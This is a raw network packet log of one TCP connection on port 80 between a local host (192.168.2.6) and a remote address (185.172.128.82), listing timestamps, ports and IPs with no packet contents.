May 22, 2024 20:06:31.882019997 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.882040024 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.882051945 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.882065058 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.882082939 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.882091999 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.882123947 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.882133961 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.882164955 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.882242918 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.882287025 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.882531881 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.882555962 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.882577896 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.882591963 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.882601976 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.882618904 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.882633924 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.882663012 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.882687092 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.882733107 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.882749081 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.882790089 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.882800102 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.882829905 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.882880926 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.882915974 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.882929087 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.882963896 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.883023977 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.883044958 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.883064985 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.883074045 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.883095026 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.883115053 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.883125067 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.883161068 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.883189917 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.883234024 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.883270025 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.883291006 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.883306026 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.883315086 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.883348942 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.883424997 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.883444071 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.883466005 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.883476019 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.883493900 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.883512974 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.883521080 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.883548021 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.883584023 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.883692980 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.883711100 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.883733988 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.883743048 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.883759975 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.883769989 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.883789062 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.883795977 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.883811951 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.883824110 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.883838892 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.883850098 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.883861065 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.883882999 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.884002924 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.884023905 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.884042978 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.884052992 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.884073019 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.884079933 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.884095907 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.884110928 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.884120941 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.884151936 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.884321928 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.884341955 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.884362936 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.884371996 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.884388924 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.884398937 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.884417057 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.884424925 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.884440899 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.884454012 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.884464025 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.884480953 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.884490013 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.884506941 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.884521961 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.884533882 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.884557009 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.884581089 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.884792089 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.884810925 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.884829998 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.884843111 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.884856939 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.884867907 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.884884119 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.884900093 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.884910107 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.884929895 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.884938955 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.884955883 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.884969950 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.884978056 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.884994030 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.885003090 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.885029078 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.885170937 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.885189056 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.885210991 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.885220051 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.885240078 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.885257006 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.885266066 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.885283947 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.885292053 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.885327101 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.885539055 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.885560036 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.885579109 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.885587931 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.885606050 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.885626078 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.885632992 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.885652065 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.885660887 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.885678053 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.885694027 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.885704994 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.885729074 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.885736942 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.885763884 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.885940075 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.885960102 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.885988951 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.885998011 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.886015892 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.886023998 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.886043072 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.886051893 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.886069059 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.886087894 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.886102915 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.886115074 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.886125088 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.886162043 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.886526108 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.886543989 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.886565924 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.886574984 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.886591911 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.886600971 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.886615992 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.886626005 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.886645079 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.886651993 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.886667967 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.886677980 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.886692047 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.886706114 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.886714935 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.886732101 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.886746883 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.886759996 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.886770010 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.886786938 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.886802912 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.886809111 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.886826038 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.886833906 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.886843920 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.886857033 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.886867046 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.886883974 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.886899948 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.886907101 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.886920929 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.886944056 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.887855053 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.887898922 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.887936115 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.887999058 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.968636990 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.968664885 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.968697071 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.968715906 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.968733072 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.968750000 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.968771935 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.968791008 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.968806982 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.968818903 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.968837023 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.968843937 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.968857050 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.968869925 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.968888044 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.968897104 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.968914986 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.968923092 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.968940020 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.968965054 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.968987942 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.971033096 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.971071005 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.971093893 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.971100092 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.971116066 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.971142054 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.971160889 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.971204996 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.971241951 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.971262932 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.971286058 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.971293926 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.971309900 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.971333981 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.971420050 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.971441031 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.971470118 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.971498013 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.971513033 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.971555948 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.971581936 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.971601963 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.971617937 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.971626997 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.971654892 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.971674919 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.971724033 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.971745968 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.971760988 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.971769094 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.971790075 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.971798897 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.971817970 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.971842051 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.971982956 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.972002029 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.972023964 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.972033024 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.972054958 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.972062111 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.972076893 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.972089052 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.972103119 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.972116947 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.972126961 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.972163916 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.972275019 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.972328901 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.972384930 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.972407103 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.972435951 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.972459078 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.972469091 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.972491026 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.972508907 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.972516060 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.972529888 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.972549915 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.973392010 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.973409891 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.973431110 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.973439932 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.973455906 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.973474026 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.973481894 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.973500967 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.973510027 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.973526955 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.973542929 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.973553896 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.973571062 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.973578930 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.973597050 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.973617077 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.973623037 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.973643064 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.973651886 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.973670006 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.973685980 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.973695993 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.973720074 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.973726988 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.973745108 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.973753929 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.973769903 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.973789930 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.973807096 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.973826885 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.973834038 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.973848104 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.973860979 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.973870039 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.973886013 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.973901033 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.973908901 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.973928928 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.973958015 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.974143982 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.974162102 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.974188089 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.974195957 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.974211931 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.974221945 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.974236965 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.974248886 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.974256992 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.974273920 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.974287987 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.974308014 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.974519968 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.974575043 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.974642992 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.974669933 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.974689960 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.974698067 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.974714041 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.974725962 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.974735975 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.974754095 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.974762917 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.974777937 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.974792004 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.974800110 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.974814892 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.974827051 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.974836111 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.974853039 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.974865913 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.974874020 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.974889040 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.974901915 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.974910975 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.974927902 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.974941015 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.974950075 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.974958897 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.974988937 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.975272894 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.975292921 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.975311995 CEST	80	49708	185.172.128.82	192.168.2.6
